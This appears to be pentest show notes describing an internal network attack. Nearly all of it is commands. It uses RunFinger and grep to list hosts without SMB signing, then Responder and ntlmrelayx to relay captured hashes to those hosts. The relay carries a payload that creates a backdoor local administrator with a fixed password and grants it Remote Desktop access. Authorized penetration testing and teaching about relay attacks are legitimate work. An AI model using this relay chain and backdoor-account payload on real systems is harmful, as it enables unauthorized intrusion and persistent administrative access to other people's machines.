Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode:

  • Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this:
opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt

  • Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget:
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add 

So the full command would be:

ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add'
